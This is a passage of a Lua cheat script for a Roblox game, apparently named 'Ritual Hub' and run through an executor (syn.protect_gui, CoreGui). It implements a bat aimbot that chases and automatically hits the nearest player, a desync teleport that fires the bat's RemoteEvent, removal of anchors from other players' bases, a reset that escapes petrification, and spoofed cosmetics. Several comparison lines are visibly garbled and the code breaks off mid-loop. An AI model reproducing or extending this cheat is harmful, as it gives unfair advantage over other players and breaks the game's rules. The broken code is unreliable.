set("climb","ClimbAnim",animPick(pack,"ClimbAnim","Climb")); set("swim","Swim",animPick(pack,"Swim"))
set("swimidle","SwimIdle",animPick(pack,"SwimIdle") or animPick(pack,"Swim"))
local idle=animate:FindFirstChild("idle")
if idle then
local ids=pack.Idle or {animPick(pack,"Animation1"),animPick(pack,"Animation2")}
if ids[1] or ids[2] then
local a1=ensureAnimation(idle,"Animation1"); local a2=ensureAnimation(idle,"Animation2")
if a1 then a1.AnimationId="rbxassetid://"..tostring(ids[1] or ids[2]) end
if a2 then a2.AnimationId="rbxassetid://"..tostring(ids[2] or ids[1]) end
for i=3,#ids do local a=ensureAnimation(idle,"Animation"..i); if a then a.AnimationId="rbxassetid://"..tostring(ids[i]) end end
end
end
restartAnimate(animate,hum)
selectedAnimPack=packName; applyingAnimPack=false; return true
end
local function applyHeadless(char,enabled)
local head=char and char:FindFirstChild("Head"); if not head then return end
local state=cosmeticState[char] or {}; cosmeticState[char]=state
if enabled then
if state.headTransparency==nil then state.headTransparency=head.Transparency; state.headCanCollide=head.CanCollide; local face=head:FindFirstChild("face"); state.face=face and face:Clone() or nil end
head.Transparency=1; head.CanCollide=false
local face=head:FindFirstChild("face"); if face then face:Destroy() end
local old=head:FindFirstChild("RitualHeadlessMesh"); if old then old:Destroy() end
local mesh=Instance.new("SpecialMesh",head); mesh.Name="RitualHeadlessMesh"; mesh.MeshType=Enum.MeshType.FileMesh; mesh.MeshId=HEADLESS_MESH_ID; mesh.Scale=Vector3.new(.001,.001,.001)
else
local mesh=head:FindFirstChild("RitualHeadlessMesh"); if mesh then mesh:Destroy() end
if state.headTransparency~=nil then
head.Transparency=state.headTransparency; head.CanCollide=state.headCanCollide
if state.face and not head:FindFirstChild("face") then state.face:Clone().Parent=head end
state.headTransparency=nil; state.headCanCollide=nil; state.face=nil
end
end
end
local function applyKorblox(char,enabled)
local hum=char and char:FindFirstChildOfClass("Humanoid"); if not hum then return end
local state=cosmeticState[char] or {}; cosmeticState[char]=state
if hum.RigType==Enum.HumanoidRigType.R6 then
local leg=char:FindFirstChild("Right Leg"); if not leg then return end
if enabled then
if not state.r6LegColor then state.r6LegColor=leg.Color; state.r6Meshes={}; for _,v in ipairs(leg:GetChildren()) do if v:IsA("SpecialMesh") or v:IsA("CharacterMesh") then table.insert(state.r6Meshes,v:Clone()); v:Destroy() end end end
leg.Color=Color3.fromRGB(64,64,64); local old=leg:FindFirstChild("RitualKorbloxMesh"); if old then old:Destroy() end
local mesh=Instance.new("SpecialMesh",leg); mesh.Name="RitualKorbloxMesh"; mesh.MeshType=Enum.MeshType.FileMesh; mesh.MeshId=KORBLOX_MESH_ID; mesh.TextureId=KORBLOX_TEXTURE_ID
else
local mesh=leg:FindFirstChild("RitualKorbloxMesh"); if mesh then mesh:Destroy() end
if state.r6LegColor then leg.Color=state.r6LegColor end
if state.r6Meshes then for _,v in ipairs(state.r6Meshes) do v:Clone().Parent=leg end end
state.r6LegColor=nil; state.r6Meshes=nil
end
else
local upper=char:FindFirstChild("RightUpperLeg"); local lower=char:FindFirstChild("RightLowerLeg"); local foot=char:FindFirstChild("RightFoot")
if not upper then return end
if enabled then
if not state.r15Transparency then state.r15Transparency={upper.Transparency,lower and lower.Transparency or 0,foot and foot.Transparency or 0} end
upper.Transparency=1; if lower then lower.Transparency=1 end; if foot then foot.Transparency=1 end
local old=char:FindFirstChild("RitualKorbloxLeg"); if old then old:Destroy() end
local leg=Instance.new("Part",char); leg.Name="RitualKorbloxLeg"; leg.Size=Vector3.new(1,2,1); leg.Anchored=false; leg.CanCollide=false; leg.Massless=true; leg.Color=Color3.fromRGB(64,64,64)
local mesh=Instance.new("SpecialMesh",leg); mesh.MeshType=Enum.MeshType.FileMesh; mesh.MeshId=KORBLOX_MESH_ID; mesh.TextureId=KORBLOX_TEXTURE_ID
local weld=Instance.new("Weld",leg); weld.Name="RitualKorbloxWeld"; weld.Part0=upper; weld.Part1=leg; weld.C0=CFrame.new(0,-.8,0)
else
local vals=state.r15Transparency
if vals then upper.Transparency=vals[1]; if lower then lower.Transparency=vals[2] end; if foot then foot.Transparency=vals[3] end end
local leg=char:FindFirstChild("RitualKorbloxLeg"); if leg then leg:Destroy() end; state.r15Transparency=nil
end
end
end
_GACC.extras.packs=ANIMATION_PACKS
_GACC.extras.getPack=function() return selectedAnimPack end
_GACC.extras.setPack=function(name,applyNow,char)
if name~="Off" and not ANIMATION_PACKS[name] then return false end
if applyNow then
local ok=applyAnimationPack(name,char)
if ok then selectedAnimPack=name end
return ok
end
selectedAnimPack=name
return true
end
_GACC.extras.applyPack=applyAnimationPack
_GACC.extras.getHeadless=function() return headlessEnabled end
_GACC.extras.setHeadless=function(on,char) headlessEnabled=on==true; if char then applyHeadless(char,headlessEnabled) end end
_GACC.extras.getKorblox=function() return korbloxEnabled end
_GACC.extras.setKorblox=function(on,char) korbloxEnabled=on==true; if char then applyKorblox(char,korbloxEnabled) end end
_GACC.extras.onCharacter=function(char)
AnimRefs.originalCharacter=nil
AnimRefs.originalAnims=nil
applyHeadless(char,headlessEnabled); applyKorblox(char,korbloxEnabled)
if selectedAnimPack and ANIMATION_PACKS[selectedAnimPack] then task.spawn(function() task.wait(.2); applyAnimationPack(selectedAnimPack,char) end) end
end
_GACC.extras.reset=function(char)
selectedAnimPack="Adidas Sports"; headlessEnabled=false; korbloxEnabled=false
if char then applyHeadless(char,false); applyKorblox(char,false) end
task.spawn(function() applyAnimationPack(selectedAnimPack) end)
end
end
local refreshSpeedModeLabel,saveConfig
local startUnwalk,stopUnwalk,setupMedusa,stopMedusaCounter
local startAntiRagdoll,stopAntiRagdoll,startAutoLeft,stopAutoLeft,startAutoRight,stopAutoRight
local startAutoTP,stopAutoTP,enableAntiLag,disableAntiLag,enableStretchRez,disableStretchRez
local runDrop,runTPFloor
local startBatDesyncTp,stopBatDesyncTp
local startAutoSteal,stopAutoSteal,toggleCarryMode,toggleLaggerMode
-- ==================== INSTANT RESET ====================
-- Bugra logic, unchanged.
local resetting = false
local instantReset
do
local tpPos = CFrame.new(2000.5, 9911.9, 4000.2)
function instantReset()
if resetting then return end
local char = LP.Character
if not char then return end
local hrp = char:FindFirstChild("HumanoidRootPart")
local hum = char:FindFirstChildOfClass("Humanoid")
if not hrp or not hum then return end
resetting = true
local cam = workspace.CurrentCamera
local lockedCamCFrame = cam.CFrame
cam.CameraType = Enum.CameraType.Scriptable
cam.CFrame = lockedCamCFrame
local prevAntiDie = antiDieEnabled
antiDieEnabled = false
RunService:BindToRenderStep("RitualCamLock", Enum.RenderPriority.Camera.Value + 1, function()
cam.CameraType = Enum.CameraType.Scriptable
cam.CFrame = lockedCamCFrame
local activeChar = LP.Character
local activeHrp = activeChar and activeChar:FindFirstChild("HumanoidRootPart")
if activeHrp then
activeHrp.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
activeHrp.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
activeHrp.CFrame = tpPos
end
end)
local respawnConn
respawnConn = LP.CharacterAdded:Connect(function(newChar)
if respawnConn then respawnConn:Disconnect() end
pcall(function()
RunService:UnbindFromRenderStep("RitualCamLock")
end)
local newHum = newChar:WaitForChild("Humanoid", 5)
task.wait(0.05)
pcall(function()
cam.CameraSubject = newHum
cam.CameraType = Enum.CameraType.Custom
end)
antiDieEnabled = prevAntiDie
resetting = false
end)
end
end
-- ==================== MEDUSA INSTANT RESET ====================
-- Medusa petrifies you by anchoring your parts. Watching Anchored flip on
-- any body part catches it a frame after it lands, and we reset out of it.
_GACC.medusaResetEnabled = _GACC.medusaResetEnabled or false
_GACC.medusaAnchorConns = {}
local function _medusaOnAnchorChanged(part)
return part:GetPropertyChangedSignal("Anchored"):Connect(function()
if _GACC.medusaResetEnabled and part.Anchored and not resetting then
instantReset()
end
end)
end
_GACC.stopMedusaReset = function()
for _, c in pairs(_GACC.medusaAnchorConns) do pcall(function() c:Disconnect() end) end
_GACC.medusaAnchorConns = {}
end
_GACC.startMedusaReset = function(char)
_GACC.stopMedusaReset()
char = char or LP.Character
if not char or not _GACC.medusaResetEnabled then return end
for _, part in ipairs(char:GetDescendants()) do
if part:IsA("BasePart") then
table.insert(_GACC.medusaAnchorConns, _medusaOnAnchorChanged(part))
end
end
table.insert(_GACC.medusaAnchorConns, char.DescendantAdded:Connect(function(part)
if part:IsA("BasePart") then
table.insert(_GACC.medusaAnchorConns, _medusaOnAnchorChanged(part))
end
end))
end
-- Auto Reset on Death removed: Medusa Instant Reset replaces it.
-- ==================== ANTI SUMMER BASE ====================
local AntiSummer = {
antiSummerBaseEnabled = false,
_antiSummerCleaned = {},
antiSummerBaseConn = nil,
}
function AntiSummer.isSummerBaseName(name)
if not name then return false end
local n = tostring(name):lower()
return n == "summerbase"
or n == "summer_base"
or n:find("summerbase", 1, true) ~= nil
or n:find("summer_base", 1, true) ~= nil
end
function AntiSummer.isAnchorName(name)
if not name then return false end
local n = tostring(name):lower()
return n == "anchor" or n == "anchors"
end
function AntiSummer.stripBlockingAnchor(obj)
if not obj or not obj.Parent then return end
local key = tostring(obj:GetFullName())
if AntiSummer._antiSummerCleaned[key] then return end
AntiSummer._antiSummerCleaned[key] = true
pcall(function()
if obj:IsA("BasePart") or obj:IsA("MeshPart") then
obj.CanCollide = false
obj.CanQuery = false
obj.CanTouch = false
obj.Transparency = 1
end
obj:Destroy()
end)
end
function AntiSummer.cleanSummerBaseAnchors()
if not AntiSummer.antiSummerBaseEnabled then return end
local plots = workspace:FindFirstChild("Plots")
if not plots then return end
for _, plot in ipairs(plots:GetChildren()) do
local isSummer = AntiSummer.isSummerBaseName(plot.Name)
if not isSummer then
for _, d in ipairs(plot:GetDescendants()) do
if AntiSummer.isSummerBaseName(d.Name) then
isSummer = true
break
end
end
end
if not isSummer then continue end
for _, d in ipairs(plot:GetDescendants()) do
if AntiSummer.isAnchorName(d.Name) then
AntiSummer.stripBlockingAnchor(d)
end
end
end
end
function AntiSummer.enable()
AntiSummer.antiSummerBaseEnabled = true
AntiSummer._antiSummerCleaned = {}
AntiSummer.cleanSummerBaseAnchors()
if AntiSummer.antiSummerBaseConn then
pcall(function() AntiSummer.antiSummerBaseConn:Disconnect() end)
AntiSummer.antiSummerBaseConn = nil
end
AntiSummer.antiSummerBaseConn = workspace.DescendantAdded:Connect(function(obj)
if not AntiSummer.antiSummerBaseEnabled then return end
if not AntiSummer.isAnchorName(obj.Name) then return end
task.defer(function()
if not AntiSummer.antiSummerBaseEnabled or not obj.Parent then return end
local p = obj
local underPlots, nearSummer = false, false
while p and p ~= workspace do
if p.Name == "Plots" or (p.Parent and p.Parent.Name == "Plots") then underPlots = true end
if AntiSummer.isSummerBaseName(p.Name) then nearSummer = true end
p = p.Parent
end
if underPlots and nearSummer then
AntiSummer.stripBlockingAnchor(obj)
end
end)
end)
task.spawn(function()
while AntiSummer.antiSummerBaseEnabled do
AntiSummer.cleanSummerBaseAnchors()
task.wait(5)
end
end)
end
function AntiSummer.disable()
AntiSummer.antiSummerBaseEnabled = false
if AntiSummer.antiSummerBaseConn then
pcall(function() AntiSummer.antiSummerBaseConn:Disconnect() end)
AntiSummer.antiSummerBaseConn = nil
end
end
-- =====================================================
local function findBat()
local char = LP.Character
if not char then return nil end
for _, tool in ipairs(char:GetChildren()) do
if tool:IsA("Tool") and (tool.Name:lower():find("bat") or tool.Name:lower():find("slap")) then
return tool
end
end
local bp = LP:FindFirstChild("Backpack")
if bp then
for _, tool in ipairs(bp:GetChildren()) do
if tool:IsA("Tool") and (tool.Name:lower():find("bat") or tool.Name:lower():find("slap")) then
return tool
end
end
end
return nil
end
local function resolveBatTool()
local char = LP.Character
local function scan(container)
if not container then return nil end
for _, tool in ipairs(container:GetChildren()) do
if tool:IsA("Tool") then
local n = tool.Name:lower()
if n:find("bat", 1, true) or n:find("slap", 1, true) then return tool end
end
end
return nil
end
return scan(char) or scan(LP:FindFirstChild("Backpack"))
end
-- Dice Bat engine adapter for Ritual Hub.
_GACC.equipPreferredBatTool = function()
local char = LP.Character
if not char then return nil end
local hum = char:FindFirstChildOfClass("Humanoid")
local bat = resolveBatTool()
if bat and hum and bat.Parent ~= char then pcall(function() hum:EquipTool(bat) end) end
return bat
end
;(function()
-- AUTO BAT / BAT AIMBOT BACKEND
-- ============================================================
local aimbotSpeed=58
local CONFIG = {
FollowSpeed = 55, MaxSpeed = 59, ActivateDistance = 13, MinFollowDistance = 1,
PredictionTime = 0.18, PredictAhead = 1.75, JumpSpeedBoost = 1.5, ActivationDelay = 0.2,
ServerTickrate = 1/60, PingSampleSize = 10, MinPingComp = 0.03, MaxPingComp = 0.25,
VelocityHistorySize = 8, AccelHistorySize = 4, AerialHistorySize = 6, VerticalHistorySize = 5,
VelocitySmoothing = 0.2, AerialSmoothing = 0.15, MaxVelocityChange = 150, MaxHorizontalVel = 80,
AccelerationWeight = 0.3, Gravity = 196.2, AirControlFactor = 0.8, AerialVelocityDecay = 0.95,
AerialDirectionWeight = 0.6, MinAirborneTime = 0.08,
}
local State = {
TargetPlayer=nil, LastTargetPos=nil, TargetVelocity=Vector3.zero, SmoothedVelocity=Vector3.zero,
VelocityHistory={}, AirborneTime=0, LastActivationTime=0, HighYVelocityTime=0,
AccelerationHistory={}, LastDirectionChangeTime=0, PreviousDirection=nil,
WasAirborne=false, AerialVelocityHistory={}, AerialSmoothVelocity=Vector3.zero,
LastGroundedPosition=nil, LastYVelocity=0, PeakHeight=0, GroundHeight=0,
IsMultiJumping=false, VerticalVelocityHistory={},
}
local _aimbotTarget = nil
local _aimbotTargetPlr = nil
local aimbotConn = nil
resetAutoBatMotion=function()
local char=LP.Character
local hrp=char and char:FindFirstChild("HumanoidRootPart")
local hum=char and char:FindFirstChildOfClass("Humanoid")
if hrp then
hrp.Velocity=hrp.Velocity*0.3
hrp.AssemblyAngularVelocity=Vector3.zero
end
if hum then hum.AutoRotate=true end
end
local function findBat()
local char=LP.Character
if not char then return nil end
for _,tool in ipairs(char:GetChildren()) do
if tool:IsA("Tool") and (tool.Name:lower():find("bat") or tool.Name:lower():find("slap")) then return tool end
end
local bp=LP:FindFirstChild("Backpack")
if bp then
for _,tool in ipairs(bp:GetChildren()) do
if tool:IsA("Tool") and (tool.Name:lower():find("bat") or tool.Name:lower():find("slap")) then return tool end
end
end
return nil
end
local function getClosestTarget()
local root=LP.Character and LP.Character:FindFirstChild("HumanoidRootPart")
if not root then return nil,nil end
local closest,closestPlr,minDist=nil,nil,math.huge
for _,plr in ipairs(Players:GetPlayers()) do
if plr~=LP and plr.Character then
local tRoot=plr.Character:FindFirstChild("HumanoidRootPart")
local hum=plr.Character:FindFirstChildOfClass("Humanoid")
if tRoot and hum and hum.Health>0 then
local dist=(tRoot.Position-root.Position).Magnitude
if dist0 then
local currentDist=(currentRoot.Position-root.Position).Magnitude
-- Keep current if new isn't significantly closer (30%) or new is same player
if currentPlr==newPlr or newDist>currentDist*0.7 then
return currentRoot,currentPlr
end
end
end
return newClosest,newPlr
end
local function swingCurrentBat(char)
if not autoSwingEnabled then return end
local bat=findBat()
if bat and bat.Parent==char and bat:IsA("Tool") then
pcall(function() bat:Activate() end)
end
end
startBatAimbot=function()
if aimbotConn then aimbotConn:Disconnect() end
if autoLeftEnabled then autoLeftEnabled=false;if autoLeftSetVisual then autoLeftSetVisual(false) end;stopAutoLeft() end
if autoRightEnabled then autoRightEnabled=false;if autoRightSetVisual then autoRightSetVisual(false) end;stopAutoRight() end
autoBatEnabled=true
State.AutoBat=true
State.BatAimbot=true
if refreshBatMotionAntiDieGuard then refreshBatMotionAntiDieGuard() end
local hum0=LP.Character and LP.Character:FindFirstChildOfClass("Humanoid")
if hum0 then hum0.AutoRotate=false end
aimbotConn=RunService.RenderStepped:Connect(function()
if not autoBatEnabled then return end
local char=LP.Character;if not char then return end
local root=char:FindFirstChild("HumanoidRootPart");if not root then return end
local hum=char:FindFirstChildOfClass("Humanoid");if not hum then return end
if not char:FindFirstChildOfClass("Tool") then
local bat=findBat()
if bat then pcall(function() hum:EquipTool(bat) end) end
end
-- STICKY TARGET: keep current unless a new one is significantly closer
local target,targetPlr=getStickyTarget(_aimbotTarget)
if not target then
_aimbotTarget=nil;_aimbotTargetPlr=nil
swingCurrentBat(char);return
end
_aimbotTarget=target
_aimbotTargetPlr=targetPlr
local targetVel=target.Velocity
local myPos=root.Position
local targetPos=target.Position
local distance=(targetPos-myPos).Magnitude
-- ADAPTIVE PREDICTION: more lead time for fast/distant targets
local speedFactor=math.clamp(targetVel.Magnitude/40,0,1.2) -- 0..1.2
local distFactor=math.clamp(distance/80,0,1) -- 0..1
local leadTime=0.14+speedFactor*0.12+distFactor*0.08 -- 0.14 .. 0.34s
local predictPos=targetPos+targetVel*leadTime
predictPos=predictPos+target.CFrame.LookVector*0.3
local direction=predictPos-myPos
local flatDir=Vector3.new(direction.X,0,direction.Z)
if flatDir.Magnitude>0.01 then flatDir=flatDir.Unit else flatDir=Vector3.new(0,0,0) end
-- EXACT chase speed: use the value the user set, no auto-boosts.
-- (Previously was: aimbotSpeed + distance_bonus + velocity_bonus, which made 56 -> 80+)
local chaseSpeed=aimbotSpeed
-- JUMPING TARGET: track higher when target has upward velocity
local jumpOffset=math.max(0,targetVel.Y*0.18)
local desiredHeight=targetPos.Y+3.7+jumpOffset
local yVel=(desiredHeight-myPos.Y)*22+targetVel.Y*1.1
if hum.FloorMaterial~=Enum.Material.Air then
yVel=math.max(yVel,13)
end
yVel=math.clamp(yVel,-70,135)
local desiredVel=Vector3.new(flatDir.X*chaseSpeed,yVel,flatDir.Z*chaseSpeed)
root.Velocity=root.Velocity:Lerp(desiredVel,0.85)
-- ROTATION TRACKING: adaptive based on target movement
local rotPredictTime=math.clamp(targetVel.Magnitude/120,0.05,0.25)
local predictedPos=targetPos+targetVel*rotPredictTime
local toPredict=predictedPos-myPos
if toPredict.Magnitude>0.1 then
local goalCF=CFrame.lookAt(myPos,predictedPos)
local diffCF=root.CFrame:Inverse()*goalCF
local rx,ry,rz=diffCF:ToEulerAnglesXYZ()
rx=math.clamp(rx,-2.5,2.5)
ry=math.clamp(ry,-2.5,2.5)
rz=math.clamp(rz,-2.5,2.5)
root.AssemblyAngularVelocity=root.CFrame:VectorToWorldSpace(Vector3.new(rx*50,ry*50,rz*50))
end
swingCurrentBat(char)
end)
end
stopBatAimbot=function()
if aimbotConn then aimbotConn:Disconnect();aimbotConn=nil end
_aimbotTarget=nil
_aimbotTargetPlr=nil
autoBatEnabled=false
State.AutoBat=false
State.BatAimbot=false
local char=LP.Character
local root=char and char:FindFirstChild("HumanoidRootPart")
if root then root.Velocity=Vector3.zero;root.AssemblyAngularVelocity=Vector3.zero end
local hum2=char and char:FindFirstChildOfClass("Humanoid")
if hum2 then hum2.AutoRotate=true end
State.hittingCooldown=false
if resetAutoBatMotion then resetAutoBatMotion() end
if refreshBatMotionAntiDieGuard then refreshBatMotionAntiDieGuard() end
end
local function queueAutoLeftStart()
autoLeftEnabled=true
if autoRightEnabled then autoRightEnabled=false;if autoRightSetVisual then autoRightSetVisual(false) end;stopAutoRight() end
if autoBatEnabled then stopBatAimbot();if autoBatSetVisual then autoBatSetVisual(false) end end
startAutoLeft()
end
local function queueAutoRightStart()
autoRightEnabled=true
if autoLeftEnabled then autoLeftEnabled=false;if autoLeftSetVisual then autoLeftSetVisual(false) end;stopAutoLeft() end
if autoBatEnabled then stopBatAimbot();if autoBatSetVisual then autoBatSetVisual(false) end end
startAutoRight()
end
local batDesyncTpConn = nil
local hittingCooldownDesync = false
local function getBatDesync()
local char=LP.Character; if not char then return nil end
local tool=char:FindFirstChild("Bat"); if tool then return tool end
local bp2=LP:FindFirstChild("Backpack")
if bp2 then tool=bp2:FindFirstChild("Bat"); if tool then tool.Parent=char; return tool end end
return nil
end
local function tryHitBatDesync()
if hittingCooldownDesync then return end; hittingCooldownDesync=true
pcall(function()
local bat=getBatDesync(); if bat then
bat:Activate(); local ev=bat:FindFirstChildWhichIsA("RemoteEvent")
if ev then ev:FireServer() end
end
end)
task.delay(0.08, function() hittingCooldownDesync=false end)
end
local function getClosestPlayerDesync()
local char = LP.Character
if not char then return nil,math.huge end
local hrp = char:FindFirstChild("HumanoidRootPart")
if not hrp then return nil,math.huge end
local cp,cd=nil,math.huge
for _,p in pairs(Players:GetPlayers()) do
if p~=LP and p.Character then
local tr=p.Character:FindFirstChild("HumanoidRootPart")
if tr then local d=(hrp.Position-tr.Position).Magnitude; if d 8 then
hrp.CFrame = CFrame.new(targetPos)
end
local cam = workspace.CurrentCamera
if cam then
cam.CFrame = CFrame.new(cam.CFrame.Position, tr.Position)
end
tryHitBatDesync()
end
end
end
function startBatDesyncTp()
if _GACC.safeBlocked and _GACC.safeBlocked() then batDesyncTpEnabled=false;if batDesyncTpSetVisual then batDesyncTpSetVisual(false) end;return end
if batDesyncTpConn then return end
batDesyncTpEnabled = true
batDesyncTpConn = RunService.Heartbeat:Connect(batDesyncTpUpdate)
end
function stopBatDesyncTp()
if batDesyncTpConn then batDesyncTpConn:Disconnect(); batDesyncTpConn = nil end
batDesyncTpEnabled = false
end
function queueAutoBatStart() startBatAimbot() end
function resetAutoBatMotion()
local char = LP.Character
if char then
local root = char:FindFirstChild("HumanoidRootPart")
local hum = char:FindFirstChildOfClass("Humanoid")
if root then root.AssemblyLinearVelocity = root.AssemblyLinearVelocity * 0.3; root.AssemblyAngularVelocity = Vector3.zero end
if hum then hum.AutoRotate = true end
end
end
startAutoSwingLoop = function() end
stopAutoSwingLoop = function() end
swingCurrentBat = function() end
LP.CharacterAdded:Connect(function(char)
if autoBatEnabled then task.wait(0.5); startBatAimbot() end
end)
end)()
local isNearPodiumWithPrompt
local function addShimmerToLabel(lbl,color1,color2)
local gr=Instance.new("UIGradient",lbl)
gr.Color=ColorSequence.new({
ColorSequenceKeypoint.new(0, color1 or Color3.fromRGB(150,150,150)),
ColorSequenceKeypoint.new(0.3,Color3.fromRGB(230,230,230)),
ColorSequenceKeypoint.new(0.6,color2 or Color3.fromRGB(255,255,255)),
ColorSequenceKeypoint.new(1, color1 or Color3.fromRGB(150,150,150))
})
gr.Transparency=NumberSequence.new({NumberSequenceKeypoint.new(0,0.3,0),NumberSequenceKeypoint.new(0.5,0,0),NumberSequenceKeypoint.new(1,0.3,0)})
return gr
end
local fovConn=nil
local function applyFOV()
if fovConn then fovConn:Disconnect() end
fovConn=RunService.RenderStepped:Connect(function()
local cam=workspace.CurrentCamera
if cam then cam.FieldOfView=math.clamp(fovValue,1,120) end
end)
end
applyFOV()
function createPingNotificationLegacy()
if pingNotification then
pcall(function() pingNotification:Destroy() end)
pingNotification = nil
end
local sg=Instance.new("ScreenGui")
sg.Name="PingNotification"; sg.ResetOnSpawn=false; sg.IgnoreGuiInset=true; sg.DisplayOrder=999
pcall(function() if syn and syn.protect_gui then syn.protect_gui(sg) end end)
if not pcall(function() sg.Parent=game:GetService("CoreGui") end) then
sg.Parent=LP:WaitForChild("PlayerGui")
end
local shadow=Instance.new("Frame",sg); shadow.Size=UDim2.fromOffset(316,92); shadow.Position=UDim2.new(1,28,0,29)
shadow.BackgroundColor3=Color3.fromRGB(0,0,0); shadow.BackgroundTransparency=.52; shadow.BorderSizePixel=0; shadow.ZIndex=8; Instance.new("UICorner",shadow).CornerRadius=UDim.new(0,16)
local card=Instance.new("CanvasGroup",sg); card.Size=UDim2.fromOffset(316,92); card.Position=UDim2.new(1,24,0,22)
card.BackgroundColor3=Color3.fromRGB(10,10,15); card.BackgroundTransparency=.04; card.BorderSizePixel=0; card.ZIndex=10; card.ClipsDescendants=true; card.GroupTransparency=.08
Instance.new("UICorner",card).CornerRadius=UDim.new(0,16)
local cStroke=Instance.new("UIStroke",card); cStroke.Color=Color3.fromRGB(255,112,90); cStroke.Thickness=1; cStroke.Transparency=.38
local cardGrad=Instance.new("UIGradient",card); cardGrad.Color=ColorSequence.new({ColorSequenceKeypoint.new(0,Color3.fromRGB(24,17,22)),ColorSequenceKeypoint.new(.55,Color3.fromRGB(11,11,17)),ColorSequenceKeypoint.new(1,Color3.fromRGB(16,13,20))}); cardGrad.Rotation=12
local rail=Instance.new("Frame",card); rail.Size=UDim2.new(0,4,1,-18); rail.Position=UDim2.fromOffset(0,9); rail.BackgroundColor3=Color3.fromRGB(255,96,78); rail.BorderSizePixel=0; rail.ZIndex=12; Instance.new("UICorner",rail).CornerRadius=UDim.new(1,0)
local badge=Instance.new("Frame",card); badge.Size=UDim2.fromOffset(58,58); badge.Position=UDim2.fromOffset(15,17); badge.BackgroundColor3=Color3.fromRGB(232,230,224); badge.BorderSizePixel=0; badge.ZIndex=12; badge.Rotation=-7; Instance.new("UICorner",badge).CornerRadius=UDim.new(0,14)
local badgeDepth=Instance.new("UIStroke",badge); badgeDepth.Color=Color3.fromRGB(255,108,82); badgeDepth.Thickness=2; badgeDepth.Transparency=.08
local badgeGrad=Instance.new("UIGradient",badge); badgeGrad.Color=ColorSequence.new(Color3.fromRGB(255,252,244),Color3.fromRGB(150,145,145)); badgeGrad.Rotation=45
for _,pt in ipairs({{.24,.24},{.76,.24},{.24,.76},{.76,.76}}) do
local pip=Instance.new("Frame",badge); pip.AnchorPoint=Vector2.new(.5,.5); pip.Position=UDim2.fromScale(pt[1],pt[2]); pip.Size=UDim2.fromOffset(7,7); pip.BackgroundColor3=Color3.fromRGB(34,27,31); pip.BorderSizePixel=0; pip.ZIndex=13; Instance.new("UICorner",pip).CornerRadius=UDim.new(1,0)
end
local bang=Instance.new("TextLabel",badge); bang.AnchorPoint=Vector2.new(.5,.5); bang.Position=UDim2.fromScale(.5,.5); bang.Size=UDim2.fromOffset(22,28); bang.BackgroundTransparency=1; bang.Text="!"; bang.TextColor3=Color3.fromRGB(226,65,54); bang.Font=Enum.Font.GothamBlack; bang.TextSize=25; bang.ZIndex=14
local warnLbl=Instance.new("TextLabel",card); warnLbl.Size=UDim2.fromOffset(112,18); warnLbl.Position=UDim2.fromOffset(87,11); warnLbl.BackgroundTransparency=1; warnLbl.Text="HIGH PING"; warnLbl.TextColor3=Color3.fromRGB(255,238,233); warnLbl.Font=Enum.Font.GothamBlack; warnLbl.TextSize=13; warnLbl.TextXAlignment=Enum.TextXAlignment.Left; warnLbl.ZIndex=12
local pingLbl=Instance.new("TextLabel",card); pingLbl.Size=UDim2.fromOffset(125,35); pingLbl.Position=UDim2.fromOffset(85,28); pingLbl.BackgroundTransparency=1; pingLbl.Text="-- ms"; pingLbl.TextColor3=Color3.fromRGB(255,112,90); pingLbl.Font=Enum.Font.GothamBlack; pingLbl.TextSize=24; pingLbl.TextXAlignment=Enum.TextXAlignment.Left; pingLbl.ZIndex=12
local duelPill=Instance.new("Frame",card); duelPill.Size=UDim2.fromOffset(104,24); duelPill.Position=UDim2.fromOffset(85,61); duelPill.BackgroundColor3=Color3.fromRGB(57,39,21); duelPill.BackgroundTransparency=.12; duelPill.BorderSizePixel=0; duelPill.ZIndex=12; Instance.new("UICorner",duelPill).CornerRadius=UDim.new(1,0)
local duelStroke=Instance.new("UIStroke",duelPill); duelStroke.Color=Color3.fromRGB(255,183,77); duelStroke.Transparency=.45; duelStroke.Thickness=1
local duelDot=Instance.new("Frame",duelPill); duelDot.AnchorPoint=Vector2.new(.5,.5); duelDot.Position=UDim2.new(0,12,.5,0); duelDot.Size=UDim2.fromOffset(6,6); duelDot.BackgroundColor3=Color3.fromRGB(255,183,77); duelDot.BorderSizePixel=0; duelDot.ZIndex=13; Instance.new("UICorner",duelDot).CornerRadius=UDim.new(1,0)
local duelLbl=Instance.new("TextLabel",duelPill); duelLbl.Size=UDim2.new(1,-24,1,0); duelLbl.Position=UDim2.fromOffset(22,0); duelLbl.BackgroundTransparency=1; duelLbl.Text="AVOID DUELS"; duelLbl.TextColor3=Color3.fromRGB(255,207,130); duelLbl.Font=Enum.Font.GothamBlack; duelLbl.TextSize=9; duelLbl.TextXAlignment=Enum.TextXAlignment.Left; duelLbl.ZIndex=13
local meter=Instance.new("Frame",card); meter.Size=UDim2.fromOffset(72,38); meter.Position=UDim2.fromOffset(213,34); meter.BackgroundTransparency=1; meter.ZIndex=12
local bars={}
for i=1,5 do
local bar=Instance.new("Frame",meter); bar.AnchorPoint=Vector2.new(0,1); bar.Position=UDim2.fromOffset((i-1)*14,38); bar.Size=UDim2.fromOffset(8,8+i*5); bar.BackgroundColor3=Color3.fromRGB(255,104,84); bar.BackgroundTransparency=.72; bar.BorderSizePixel=0; bar.ZIndex=13; Instance.new("UICorner",bar).CornerRadius=UDim.new(1,0); bars[i]=bar
end
local closeBtn=Instance.new("TextButton",card); closeBtn.Size=UDim2.fromOffset(22,22); closeBtn.Position=UDim2.new(1,-28,0,7); closeBtn.BackgroundColor3=Color3.fromRGB(31,25,30); closeBtn.BorderSizePixel=0; closeBtn.ZIndex=15; Instance.new("UICorner",closeBtn).CornerRadius=UDim.new(1,0); closeBtn.Text="×"; closeBtn.TextColor3=Color3.fromRGB(173,157,163); closeBtn.Font=Enum.Font.GothamBold; closeBtn.TextSize=15
closeBtn.MouseButton1Click:Connect(function()
if pingNotification then pcall(function() pingNotification:Destroy() end); pingNotification=nil end
end)
TweenService:Create(card,TweenInfo.new(.58,Enum.EasingStyle.Back,Enum.EasingDirection.Out),{Position=UDim2.new(1,-336,0,22),GroupTransparency=0}):Play()
TweenService:Create(shadow,TweenInfo.new(.58,Enum.EasingStyle.Back,Enum.EasingDirection.Out),{Position=UDim2.new(1,-332,0,29)}):Play()
TweenService:Create(badge,TweenInfo.new(.72,Enum.EasingStyle.Back,Enum.EasingDirection.Out),{Rotation=0}):Play()
task.spawn(function()
local t=0
while card and card.Parent do
t=t+0.04
pcall(function()
